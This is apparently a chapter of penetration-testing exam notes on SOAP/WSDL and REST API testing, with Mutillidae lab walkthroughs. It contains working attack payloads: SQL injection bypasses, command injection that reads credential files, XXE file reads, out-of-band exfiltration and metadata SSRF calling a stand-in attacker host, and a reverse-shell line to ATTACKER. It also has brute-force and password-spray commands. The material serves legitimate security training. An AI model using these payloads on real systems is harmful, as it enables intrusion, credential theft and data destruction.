5.3.1 Versions

WSDL 1.1WSDL 2.0
StatusOlder; still heavily used, especially in the financial sectorCurrent standard
Abstract description elementstypes, message, portTypetypes, interface
Concrete description elementsbinding, service (with port)binding, service, endpoint
Operations defined underportTypeinterface
Messagesmessage elements referenced by operationsNo message element; operations point directly to schema elements inside types

Instant version fingerprint: if you see <portType>, it is WSDL 1.1. If you see <interface> and no <message>, it is 2.0.

5.3.2 Abstract vs concrete definitions

DefinitionDescribesContains
AbstractWhat the service doesOperations provided, input, output and fault messages used by each operation
ConcreteHow and where the service communicatesProtocol binding, message encoding, endpoint address (URL)

5.3.3 Element reference

ElementPurposeWhat you extract from it
definitionsRoot element of the WSDL; declares all namespaces and targetNamespaceThe namespace prefix (urn:...) you must use in your request body
typesDefines the data types used by the service, usually as XML Schema (XSD)Parameter names, xsd types (string, int, boolean), constraints — tells you what fuzzing is type-valid
messageDefines the data structures exchanged between client and service. Can have multiple parts, each with a name and a type referencing types (WSDL 1.1 only)The exact parameter names for request and response of each operation
portType (1.1) / interface (2.0)Describes the operations the service supports. Each operation corresponds to a method/function the client can invoke. Specifies input and output messagesThe method list — your attack surface
operationA specific action the service can perform: name, input message structure, output message structure, optional fault messagesThe method name to put in the SOAP Body
bindingSpecifies how operations are bound to a protocol (e.g. SOAP over HTTP): protocol, message encoding (use="literal" / use="encoded"), style (document / rpc), and soapAction per operationThe SOAPAction header value and whether the style is RPC or document
serviceInformation about the service itself: its name and its endpoint addressesThe URL you send the request to
port (1.1) / endpoint (2.0)Binds one binding to one network addressConcrete address per binding

5.3.4 Annotated WSDL fragments

<!-- binding: how operations map onto a protocol; note transport + style -->
<wsdl:binding name="HelloService_SOAP11Binding" type="tns:HelloServicePortType">
  <soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document"/>
  ...
</wsdl:binding>
<!-- portType: the operation list = the method list (WSDL 1.1) -->
<wsdl:portType name="HelloServicePortType">
  <wsdl:operation name="sayHello">
    <wsdl:input  message="tns:sayHelloRequest"/>
    <wsdl:output message="tns:sayHelloResponse"/>
  </wsdl:operation>
</wsdl:portType>
<!-- operation inside binding: THIS is where the SOAPAction value lives -->
<wsdl:operation name="sayHello">
  <soap:operation soapAction="sayHello" style="document"/>
  <wsdl:input><soap:body use="literal"/></wsdl:input>
  <wsdl:output><soap:body use="literal"/></wsdl:output>
</wsdl:operation>
<!-- WSDL 2.0: interface replaces portType and points at schema elements, not messages -->
<interface name="HelloInterface">
  <operation name="sayHello" pattern="http://www.w3.org/ns/wsdl/in-out">
    <input  element="tns:sayHelloRequest"/>
    <output element="tns:sayHelloResponse"/>
  </operation>
</interface>

5.3.5 Building a request from a WSDL — the procedure

Do these six reads, in order, every time:

StepElement to readWhat you take from it
1service → port/endpoint location=The URL to send to
2binding → soap:binding transport= / style=Confirms SOAP over HTTP; RPC vs document style
3portType/interface → operation name=The method name → goes in the SOAP Body as the child element
4binding → operation → soap:operation soapAction=The SOAPAction HTTP header value — copy it verbatim
5message/types for that operation's inputParameter names and xsi:type values
6definitions targetNamespace=The namespace to bind the operation element to (e.g. xmlns:ns1="urn:ws-user-account")

Then assemble:

POST <location from step 1> HTTP/1.1
Host: <host>
Content-Type: text/xml; charset=utf-8
SOAPAction: "<value from step 4>"

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
                   xmlns:xsd="http://www.w3.org/2001/XMLSchema"
                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP-ENV:Body>
    <ns1:OPERATION_NAME xmlns:ns1="TARGET_NAMESPACE">
      <PARAM_NAME xsi:type="xsd:string">VALUE</PARAM_NAME>
    </ns1:OPERATION_NAME>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Exam tips

  • First thing to try: Ctrl+F the WSDL for operation name= — that single search gives you the whole method list in seconds, including methods the HTML page does not link to.
  • Common trap: forgetting the SOAPAction header. If the binding defines a soapAction value and you omit it, some implementations refuse the call and return a 500 that looks like "method does not exist". It is not — it is a routing failure.
  • What proves the finding: a response whose Body contains <OPERATIONNAMEResponse> — that element only exists if the server has a handler for that operation.

5.4 WSDL Disclosure & Endpoint Discovery

Accessing the WSDL file is the first step of web-service security testing, immediately after identifying the endpoint. The "endpoint" is just the service URL, e.g. http://soap.site/search/engine/ws.php — everything up to and including the script name.

5.4.1 Suffixes to append to a known endpoint

AppendPlatform / meaning
?wsdlUniversal; the standard way to retrieve the WSDL (most common)
?WSDLCase-sensitive servers — try both
.wsdlStatic WSDL file served alongside the service
?discoMicrosoft DISCO discovery document — lists the service's WSDL contracts
?singleWsdlASP.NET / WCF — full WSDL with all imports inlined
?wsdl=wsdl0 / ?wsdl=wsdl1Split WSDL parts on some Java/CXF stacks
# Retrieve the WSDL for a known SOAP endpoint
curl -s "http://demo.ine.local/webservices/soap/ws-user-account.php?wsdl"
# Microsoft DISCO discovery document (points at the WSDL contracts)
curl -s "http://target/Service.asmx?disco"

5.4.2 Common paths worth brute-forcing

Path patternStack
/service.asmx, /service.asmx?wsdlASP.NET ASMX
/Service.svc, /Service.svc?wsdlWCF
/axis2/services/, /axis/services/Apache Axis/Axis2 — the service listing page enumerates every deployed service
/services/, /ws/, /webservices/, /soap/Generic Java/PHP
/webservices/soap/<name>.phpMutillidae-style PHP + NuSOAP
/cgi-bin/soap, /soap/servlet/rpcrouterLegacy Apache SOAP
/ws/*.wsdl, /wsdl/*.wsdlStatic WSDL directories
/UDDI/, /uddi/inquiryUDDI registry
# Brute-force SOAP/WSDL paths; -mc all + -fc 404 so you see 500s and 401s too
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .asmx,.svc,.php,.wsdl -mc all -fc 404
# Append ?wsdl to every discovered endpoint and keep only real WSDL documents
ffuf -u "http://target/FUZZ?wsdl" -w endpoints.txt -mr "wsdl:definitions"

5.4.3 UDDI

UDDI (Universal Description, Discovery and Integration) is the registry/"yellow pages" layer of the classic web-service triad (SOAP = messaging, WSDL = description, UDDI = discovery). A provider publishes its service and WSDL pointer into a UDDI registry; consumers query the registry to find services. Public UDDI registries are effectively dead, but internal/enterprise UDDI registries still exist and are a jackpot: one query returns every service and WSDL URL in the organisation. Look for /uddi/, /uddi/inquiry, /juddiv3/, /uddi/publish and any tModel references in configuration files.

5.4.4 Google dorks for exposed WSDL/services

inurl:wsdl
filetype:wsdl
inurl:"?wsdl"
inurl:asmx?wsdl
inurl:.svc?wsdl
intitle:"Service" inurl:asmx
inurl:"/axis2/services/"
inurl:"/services/" intext:"Endpoint address"
filetype:disco
# REST/OpenAPI equivalents
inurl:swagger.json
inurl:/swagger-ui.html
inurl:openapi.json
inurl:/api-docs
inurl:"/api/v1" filetype:json
site:*.target.com inurl:api

Also check: GitHub/GitLab code search for the target's domain plus wsdl/swagger, Postman's public workspace search, and wayback/gau output for archived ?wsdl URLs.

5.4.5 Tooling

ToolUse
Burp → Wsdler (BApp Store extension)Right-click a request containing a WSDL → Parse WSDL → generates a ready-to-send SOAP request per operation, sendable straight to Repeater/Intruder. The fastest path from WSDL to attack.
Burp → Content Type ConverterFlip a request body between XML and JSON to test alternate parsers
Burp → Param MinerGuess hidden parameters/headers
SoapUIFile → New SOAP Project → paste WSDL URL → auto-generates a request skeleton with every operation and every parameter (? placeholders). Best manual tool for large WSDLs. Can be proxied through Burp (Preferences → Proxy Settings → Host 127.0.0.1 Port 8080).
PostmanHandles REST/GraphQL natively; Import → Link an OpenAPI/Swagger URL to generate a full collection
wsdl2java / svcutil.exeGenerate a client stub from a WSDL when you want to script complex calls
curl + RepeaterAlways sufficient; what the exam expects you to be able to do by hand

5.4.6 Lab walkthrough — locating and reading the WSDL (Mutillidae II)

Target: demo.ine.local → Web Services → SOAP → User Account (username enumeration). Endpoint: /webservices/soap/ws-user-account.php.

# 1. The service page itself lists operations and links "view the WSDL" - do NOT rely on it
curl -s http://demo.ine.local/webservices/soap/ws-user-account.php
# 2. Force the WSDL - this is the technique that works when the page lists nothing
curl -s "http://demo.ine.local/webservices/soap/ws-user-account.php?wsdl" | xmllint --format -

What the WSDL reveals, element by element, in this lab:

Element seenContentConclusion
<types> → xsd:schema targetNamespace="urn:ws-user-account"SOAP encoding schema declarationsNamespace prefix for the Body
<message name="..."> with <part name="username" .../>Data elements per operationParameter names: username, later password
<message name="getUserResponse"> <part name="return" type="xsd:XML"/>Response partResponse returns XML
<portType> presentOperations declared hereWSDL 1.1
<operation name="getUser"> + <documentation>"Fetches user information if the user exists, else returns error message"Username enumeration primitive
<operation name="createUser">"Creates a new user account"Registration primitive
<operation name="updateUser">"If the account exists update the existing user account, otherwise create a new user account"Overwrite primitive
<operation name="deleteUser">"If the account exists delete the user account" — not listed on the HTML pageDestructive hidden operation
<operation name="getAdminInfo">"If the account for admin exists returns non-sensitive account details"Privileged operation
<binding> → <soap:operation soapAction="...">Per-operation SOAPAction valuesRequired header per operation
<service> → <port> location=http://.../webservices/soap/ws-user-account.phpWhere to POST

The service page also renders a human-readable dialog per operation (name, binding, endpoint, SOAPAction, style rpc, encoding, input/output parts) and a sample HTTP request — copy that sample straight into Burp Repeater.

5.4.7 Sending it from Burp Repeater

POST /webservices/soap/ws-user-account.php HTTP/1.1
Host: demo.ine.local
Content-Type: text/xml; charset=utf-8
Content-Length: 501

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:getUser xmlns:ns1="urn:ws-user-account">
      <username xsi:type="xsd:string">Jeremy</username>
    </ns1:getUser>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Practical points from the lab that cost time if forgotten:

  • The sample request copied from the service page has the wrong URI (it includes /mutillidae/ or localhost). Fix the request line and the Host header to the real endpoint path and demo.ine.local.
  • Pasting a raw request into Repeater leaves Burp with no target: it prompts "configure the details of the server to which the request will be sent" → enter demo.ine.local, port 80, TLS off.
  • The operation name appears in both the opening and closing tag — change both when swapping methods.
  • Trying to invoke the operation by GET in the browser (e.g. appending #getUser) will not work; the WSDL binding says POST.

Response fingerprints from this lab:

HTTP/1.1 200 OK
X-SOAP-Server: NuSOAP/0.9.5
Set-Cookie: PHPSESSID=...
Content-Type: text/xml; charset=ISO-8859-1
  • X-SOAP-Server: NuSOAP/0.9.5 → the SOAP toolkit in use (NuSOAP is a PHP SOAP toolkit). Search for vulnerabilities in the SOAP server itself, not just the service logic.
  • Valid user → Body contains <accounts> with Results for Jeremy, <username>, <signature> (a short "hacking lingo" string such as one containing 1337).
  • Invalid user → The user Alexis does not exist — plus a stray ' or } in the reflected output, which is the first hint of unsanitised reflection into a query.

Exam tips

  • First thing to try: append ?wsdl to the endpoint before anything else. If that 404s, try .wsdl, ?WSDL, ?disco, ?singleWsdl, then brute force /services/, /axis2/services/, /ws/.
  • Common trap: trusting the operation list rendered on the HTML page. It shows only what the developer intended you to use. The WSDL — and inference — expose the rest.
  • What proves the finding: the retrieved WSDL document itself (<wsdl:definitions> root), plus one successfully invoked operation built from it.

5.5 Method/Operation Enumeration & Invoking Hidden Methods

Developers publish the operations they want consumed and quietly leave the rest deployed. Two ways to find them:

  1. Read the WSDL. Every operation name= under portType/interface, including ones absent from the HTML/doc page.
  2. Infer from the naming scheme. If you see getUser, createUser, updateUser — it is safe to assume deleteUser exists. Also try: listUsers, getAdminInfo, resetPassword, setRole, exportData, debug, test, ping, getConfig, getAllUsers.

5.5.1 Response-code semantics when probing an unknown operation

ResponseMeaning
HTTP 200 + <OperationNameResponse> in BodyThe operation exists. A response schema only exists if the server has a handler
HTTP 200 + <Fault> "Parameter required" / "missing parameter"Operation exists; you are missing a required argument → go read the WSDL message parts
HTTP 200 + application error ("only admin user can invoke this method")Operation exists and is authorization-gated → target for privilege escalation
HTTP 500Operation does not exist or your envelope/SOAPAction is malformed — do not conclude "no such method"
HTTP 401/403Operation exists behind authentication

5.5.2 Lab walkthrough — invoking deleteUser

Baseline: confirm Jeremy exists via getUser (watch capitalisation — jeremy returned "does not exist" while Jeremy succeeded; usernames are case-sensitive here).

POST /webservices/soap/ws-user-account.php HTTP/1.1
Host: demo.ine.local
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP-ENV:Body>
    <ns1:deleteUser xmlns:ns1="urn:ws-user-account">
      <username xsi:type="xsd:string">Jeremy</username>
    </ns1:deleteUser>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Response: 200 OK, Body contains <deleteUserResponse> and a fault-style message:

Exception ... line 267 ... code 0 ... file .../ws-user-account.php ... message: Parameter required

Two conclusions: the operation exists (the response element proves it), and it needs another parameter. Back to the WSDL → deleteUser takes username and password, both xsd:string.

<!-- add the second parameter discovered in the WSDL message parts -->
    <ns1:deleteUser xmlns:ns1="urn:ws-user-account">
      <username xsi:type="xsd:string">Jeremy</username>
      <password xsi:type="xsd:string">test</password>
    </ns1:deleteUser>

Response: 200 OK → Could not authenticate account Jeremy, password incorrect. The username value is reflected into the response, which is the tell that it is being concatenated into a backend query — the pivot into §5.6.

Note: the sample XML shown on Mutillidae's operation dialogs is HTML-encoded and littered with <br> tags. Paste it into Burp → Decoder → Decode as → HTML, then strip the <br> before using it. Duplicate <Envelope> blocks from a sloppy copy/paste cause 500s.

5.5.3 Lab walkthrough — getAdminInfo and the SOAPAction header

First attempt (envelope with leftover header/params, no SOAPAction) → 500 Internal Server Error with only admin user can invoke this method. That message means the operation exists and is gated.

The SOAPAction header is a transport-protocol header (in HTTP) transmitted with SOAP messages that provides information about the intention of the web service request to the service. The WSDL interface defines the SOAPAction value used for each operation, inside binding → operation → <soap:operation soapAction="...">. Some web service implementations use the SOAPAction header to determine behaviour — i.e. to route and authorise the call.

<!-- Read the value out of the binding for the target operation - copy it verbatim -->
<wsdl:operation name="getAdminInfo">
  <soap:operation soapAction="urn:ws-user-account#getAdminInfo" style="rpc"/>
  ...
</wsdl:operation>

Then send a minimal envelope — only the operation element inside the Body, no stray <Header>, no extra parameters — with the header set:

POST /webservices/soap/ws-user-account.php HTTP/1.1
Host: demo.ine.local
Content-Type: text/xml; charset=utf-8
SOAPAction: urn:ws-user-account#getAdminInfo

<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP-ENV:Body>
    <ns1:getAdminInfo xmlns:ns1="urn:ws-user-account"/>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Response: 200 OK returning the admin username (admin), the admin signature (g0t r00t?) and the lab flag.

Lesson to carry into the exam: always read the bindings, not just the portType. If soapAction is defined for an operation, set it as an HTTP header or the call will fail in a way that looks like the method is missing. Conversely, changing the SOAPAction while leaving the Body alone is a real bypass technique against implementations that route on the header and authorise on the body (or vice-versa).

5.5.4 Other SOAP-layer manipulation worth trying

# SOAPAction spoofing: body says a benign op, header says the privileged one (or vice-versa)
curl -s -X POST http://target/svc.php \
  -H 'Content-Type: text/xml' -H 'SOAPAction: urn:svc#getAdminInfo' \
  --data-binary @getuser.xml
# Empty SOAPAction - some stacks fall back to body routing and skip header-based authZ
curl -s -X POST http://target/svc.php -H 'Content-Type: text/xml' -H 'SOAPAction: ""' --data-binary @op.xml
<!-- WS-Security header injection attempt: assert a privileged identity -->
<SOAP-ENV:Header>
  <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
    <wsse:UsernameToken>
      <wsse:Username>admin</wsse:Username>
      <wsse:Password Type="...#PasswordText">admin</wsse:Password>
    </wsse:UsernameToken>
  </wsse:Security>
</SOAP-ENV:Header>

Exam tips

  • First thing to try: grep the WSDL for every operation name=, then send each one with empty/absent parameters. The error text tells you the required arguments for free.
  • Common trap: reading a 500 as "method does not exist". Re-send with the correct SOAPAction and a minimal envelope before concluding anything.
  • What proves the finding: a 200 OK whose Body contains <HiddenOperationResponse> plus data or a state change (user deleted, admin details returned) you were never authorised to obtain.

5.6 Injection into SOAP / XML Parameters

The whole point: a SOAP parameter is just another input. If it reaches a SQL query, a shell, an XML parser or an XPath expression without validation, every payload from §3 and §4 applies verbatim. Web services are more likely to be vulnerable than the front end, because the developer assumed only their own code would ever call them.

Where to inject in a SOAP message:

LocationExample
Parameter values<username xsi:type="xsd:string">PAYLOAD</username>
Parameter attributesxsi:type="xsd:PAYLOAD"
Element names (XML injection)closing/reopening tags to inject sibling elements
SOAPAction headerrouting/authZ bypass, occasionally command context
The <!DOCTYPE> prologXXE
HTTP headers around itHost, Cookie, custom X-*

5.6.1 SQL injection in SOAP parameters

Detection is identical to a web form: terminate the string literal and watch for a DBMS error.

<!-- Single quote in the parameter value: classic error-based SQLi probe -->
<password xsi:type="xsd:string">'</password>

Lab result (Mutillidae deleteUser, password parameter): 200 OK with a SOAP fault containing

Exception ... file: app/classes/MySQLHandler.php ... line 194 ...
message: Error executing SQL query ... check the manual that corresponds to your
MySQL server version for the right syntax to use near ...

That single response gives you: backend = MySQL, the source file and line, and — critically — the fragment of the query that broke, which reveals the query shape.

Quote-count probing confirms the context:

PayloadExpected behaviour if string-quoted
'Error (odd number of quotes)
''No error (balanced)
'''Error again

Reconstructed query shape for deleteUser:

-- Both parameters are concatenated; the username check gates the delete
SELECT username FROM accounts WHERE username='$username' AND password='$password'

The lesson that decided the lab: injecting only into password bypasses the password check but the username check still has to match a real row, so nothing is deleted. Putting the boolean into the username parameter is what made the delete fire and released the flag. Always ask which parameter gates the action before choosing where to inject.

<!-- Authentication-bypass boolean in the parameter that gates the operation -->
<username xsi:type="xsd:string">Jeremy' OR '1'='1</username>
<password xsi:type="xsd:string">x</password>
<!-- Terminate + comment out the rest of the WHERE clause (MySQL: # or -- - ) -->
<username xsi:type="xsd:string">Jeremy' OR 1=1;#</username>
<!-- XML-safe variants: &apos; for the quote, &lt;/&gt; for angle brackets, &amp; for & -->
<username xsi:type="xsd:string">admin&apos; OR &apos;1&apos;=&apos;1</username>

XML encoding trap: <, >, & and (inside attributes) quotes must be entity-encoded or you break the XML and get a parser fault instead of a SQL error. &amp;&amp; for &&, &lt; for <, &apos; for '. Alternatively wrap the payload in <![CDATA[ ... ]]>:

<!-- CDATA lets you send raw metacharacters without breaking the XML parser -->
<username xsi:type="xsd:string"><![CDATA[Jeremy' OR 1=1-- -]]></username>

Automating it:

# Save the full SOAP request from Burp to a file, mark the injection point with *
sqlmap -r soap_request.txt --level=5 --risk=3 --batch
# Explicitly target an XML parameter value inside the body
sqlmap -r soap_request.txt -p username --dbms=mysql --technique=BEUST --batch

Burp Intruder route (what the course demonstrates):

  1. Send the SOAP request to Intruder.
  2. Clear § (Burp auto-marks XML values), then mark only the parameter value as the position.
  3. Attack type Sniper.
  4. Payloads → Load → /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt (or quick-SQLi.txt).
  5. Fix the Host header first — a pasted request often carries localhost; Intruder will silently fail every request otherwise.
  6. Sort by Length; anomalies in response length are your signal.

5.6.2 Username enumeration and credential brute force over SOAP

getUser returns "user exists + signature" vs "user does not exist" — a textbook oracle.

  1. Send getUser to Intruder, position on the username value, Sniper.
  2. Payload list: /usr/share/metasploit-framework/data/wordlists/unix_users.txt (course uses this), or SecLists Usernames/top-usernames-shortlist.txt.
  3. Sort by response Length — valid users return a longer body (they include <username> and <signature>).
  4. Correct for payload length: the username is reflected in the response, so longer payloads inflate the length even on failure. Compare bodies, not just numbers.

Same shape for password brute force against deleteUser/updateUser: position on the password value, load 100-common-passwords.txt (on the lab Kali desktop) or rockyou.txt, and watch for the response that stops saying password incorrect.

Why APIs are the best place to brute force: when throttling is not enabled, a web service gives you the highest possible request rate — no CSRF token, no CAPTCHA, no page render. The course explicitly notes Burp Community's Intruder is throttled and that ZAP (or a script/ffuf) achieves far higher speeds against an unthrottled endpoint.

# Password spray over SOAP with ffuf: -d body, FUZZ inside the XML, filter the failure string
ffuf -u http://demo.ine.local/webservices/soap/ws-user-account.php \
  -X POST -H 'Content-Type: text/xml' \
  -d '<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Body><ns1:getUser xmlns:ns1="urn:ws-user-account"><username xsi:type="xsd:string">FUZZ</username></ns1:getUser></SOAP-ENV:Body></SOAP-ENV:Envelope>' \
  -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt \
  -fr "does not exist"

5.6.3 Command injection in SOAP parameters

Same lab, different endpoint: Web Services → SOAP → Command Injection / DNS Lookup, operation lookupDNS, single parameter targetHost (xsd:string). The service shells out to a DNS lookup utility — a classic RCE primitive caused by lack of input validation/sanitisation.

Baseline (proves the operation runs; empty result because the lab has no internet, so use a LAN IP from ifconfig):

<!-- Normal call: confirms the operation executes and returns a Results element -->
<ns1:lookupDNS xmlns:ns1="urn:ws-dns-lookup">
  <targetHost xsi:type="xsd:string">google.com</targetHost>
</ns1:lookupDNS>

Command separators, in the order to try them:

SeparatorContextNote in XML
;Terminates the previous command (Linux)safe
&&Run only if previous succeededencode as &amp;&amp;
||Run only if previous failedsafe
|Pipesafe
&Background previous, run nextencode as &amp;
`cmd` / $(cmd)Substitutionsafe
newline %0aBypasses some filterssafe
<!-- Terminate with ; then append a system command - id proves RCE -->
<targetHost xsi:type="xsd:string">127.0.0.1; id</targetHost>

Response: uid=33(www-data) gid=33(www-data) groups=33(www-data) → command injection confirmed.

Post-exploitation chain used in the lab:

<!-- Where am I? -> /app/webservices/soap -->
<targetHost xsi:type="xsd:string">127.0.0.1; pwd</targetHost>
<!-- Enumerate the webroot -->
<targetHost xsi:type="xsd:string">127.0.0.1; ls -al /app</targetHost>
<!-- Hunt for DB credentials in the setup script -->
<targetHost xsi:type="xsd:string">127.0.0.1; cat /app/set-up-database.php</targetHost>
<!-- Find the flag anywhere on disk, suppressing permission errors -->
<targetHost xsi:type="xsd:string">127.0.0.1; find / -iname '*flag*' 2>/dev/null</targetHost>
<!-- Read it -->
<targetHost xsi:type="xsd:string">127.0.0.1; cat /app/flag3</targetHost>

Escalate to a shell exactly as in a normal command-injection finding (bash -i >& /dev/tcp/ATTACKER/4444 0>&1, nc -e, curl | sh) — remembering to XML-encode & as &amp; and </> as &lt;/&gt;, or wrap in CDATA.

5.6.4 XXE in SOAP/XML services

SOAP bodies are parsed by a full XML parser, which makes XXE the single highest-value SOAP-specific bug. Inject a DOCTYPE prolog before the Envelope.

<!-- Classic XXE file read inside a SOAP envelope -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <SOAP-ENV:Body>
    <ns1:getUser xmlns:ns1="urn:ws-user-account">
      <username xsi:type="xsd:string">&xxe;</username>
    </ns1:getUser>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
<!-- Blind/OOB XXE: exfiltrate over HTTP when nothing is reflected -->
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "http://ATTACKER/evil.dtd">
  %ext;
]>
<!-- SSRF via XXE: reach internal services / cloud metadata from the service host -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<!-- PHP wrapper to read source without breaking the parser on < and & -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/set-up-database.php"> ]>
<!-- Billion laughs: DoS test only where explicitly in scope -->
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> ]>

5.6.5 XML injection and XPath injection

<!-- XML injection: close the element early and inject a sibling (privilege field) -->
<username xsi:type="xsd:string">jeremy</username><role>admin</role><x xsi:type="xsd:string">
# XPath injection payloads for services that query XML documents instead of SQL
' or '1'='1
' or 1=1 or ''='
x' or name()='username' or 'x'='y
count(/*)=1

Detection is the same as SQLi: single quote → parser/XPath error → boolean-true payload changes the result set.

Exam tips

  • First thing to try: a lone ' in every string parameter, then ;id in every parameter whose name suggests a host, file, command, path or lookup (target, host, ip, domain, file, cmd, path, url).
  • Common traps: (1) breaking the XML with raw </& and mistaking a parser fault for "not vulnerable" — use entities or CDATA; (2) injecting into the wrong parameter — find the one that gates the action; (3) deleteUser-class operations really do destroy data (the course deleted both Jeremy and admin while fuzzing) — never fuzz destructive operations on a real engagement.
  • What proves the finding: for SQLi, the DBMS error naming the engine plus a boolean/UNION-controlled response difference; for command injection, id/whoami output in the SOAP response; for XXE, /etc/passwd content or an inbound callback.

5.7 REST API Enumeration & Reconnaissance

REST has no mandatory contract, so discovery is: find the docs → else find the routes → else find the parameters.

5.7.1 Machine-readable documentation paths

PathWhat it is
/swagger.jsonOpenAPI 2.0 spec (JSON)
/swagger/v1/swagger.jsonASP.NET Core Swashbuckle default
/swagger-ui.html, /swagger/index.html, /swagger/Swagger UI — interactive, with a "Try it out" button
/openapi.json, /openapi.yaml, /openapiOpenAPI 3.x spec
/api-docs, /v2/api-docs, /v3/api-docsSpringfox / springdoc defaults
/api/swagger.json, /api/v1/swagger.jsonPrefixed variants
/redoc, /docs, /documentationReDoc / FastAPI docs
/graphql, /graphiql, /playground, /altairGraphQL endpoints and IDEs
/.well-known/openid-configurationOIDC metadata → token/authorize endpoints, JWKS URL
/actuator, /actuator/env, /actuator/mappings, /actuator/heapdumpSpring Boot Actuator — route list, env vars, secrets, heap dump
/wsdl, /soap, /servicesThe SOAP side of a hybrid app
/postman_collection.json, /collection.jsonLeaked Postman collection
# Pull and pretty-print an OpenAPI spec
curl -s http://target:8080/swagger.json | jq '.'
# Extract just the route list + verbs from an OpenAPI spec
curl -s http://target:8080/openapi.json | jq -r '.paths | to_entries[] | "\(.key) \(.value|keys|join(","))"'
# Extract every parameter name the spec declares (feeds your tampering/mass-assignment list)
curl -s http://target:8080/swagger.json | jq -r '.. | .parameters? // empty | .[]? | .name' | sort -u
# Spring Boot Actuator: full controller-to-route mapping = free endpoint list
curl -s http://target:8080/actuator/mappings | jq '.'
# Brute-force the doc paths themselves
ffuf -u http://target:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/swagger.txt -mc 200,301,302,401,403

5.7.2 Postman workflow

StepAction
Import a specImport → Link → paste http://target/swagger.json → Postman builds a collection with every route, verb and parameter
Set the base URLCollection Variables → baseUrl = http://target:8080
Carry auth onceCollection → Authorization tab → Bearer Token / API Key → inherited by every request
Proxy into BurpSettings → Proxy → Add a custom proxy configuration → 127.0.0.1:8080, and Settings → General → SSL certificate verification: OFF
Bulk-testRunner — run the whole collection and diff responses between an authenticated and an unauthenticated environment (this is your BOLA/BFLA sweep)
EnvironmentsCreate user-A and user-B environments holding each account's token; swap environment, re-run, compare

5.7.3 Route and parameter brute force

# Baseline directory/route discovery against the API host:port
ffuf -u http://target:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc all -fc 404
# Versioned API: enumerate under each version prefix
ffuf -u http://target:8080/api/v1/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc all -fc 404
# Two-position fuzz: version AND resource in one run (clusterbomb)
ffuf -u http://target:8080/api/V/R -w versions.txt:V -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt:R -mode clusterbomb -mc all -fc 404
# Filter noise by response size instead of status when the API 200s on everything
ffuf -u http://target:8080/api/v1/FUZZ -w wordlist.txt -fs 21
# gobuster alternative
gobuster dir -u http://target:8080 -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -b 404 -k
# Hidden query/body parameter discovery
arjun -u http://target:8080/api/v1/user

Useful SecLists locations:

WordlistUse
Discovery/Web-Content/api/api-endpoints.txtGeneric API route names
Discovery/Web-Content/api/objects.txtResource nouns (users, orders, invoices)
Discovery/Web-Content/api/actions.txtVerbs (create, delete, export)
Discovery/Web-Content/swagger.txtSwagger/OpenAPI doc paths
Discovery/Web-Content/common.txt, raft-*-directories.txtGeneral content discovery
Fuzzing/SQLi/Generic-SQLi.txtSQLi payloads for Intruder/ffuf
Usernames/top-usernames-shortlist.txtUsername enumeration
/usr/share/metasploit-framework/data/wordlists/unix_users.txtUsername enumeration (used in the course)

5.7.4 Passive recon

  • Old API versions: if /api/v2/ is live, always test /api/v1/ and /api/v0/ — old versions are rarely patched and often skip the new authZ checks.
  • JavaScript source: every SPA hard-codes its own route list. Pull every .js and grep for fetch(, axios, /api/, Bearer, apiKey, X-API-Key.
  • Mobile apps: decompile the APK and grep strings for https://, /api/, hard-coded keys.
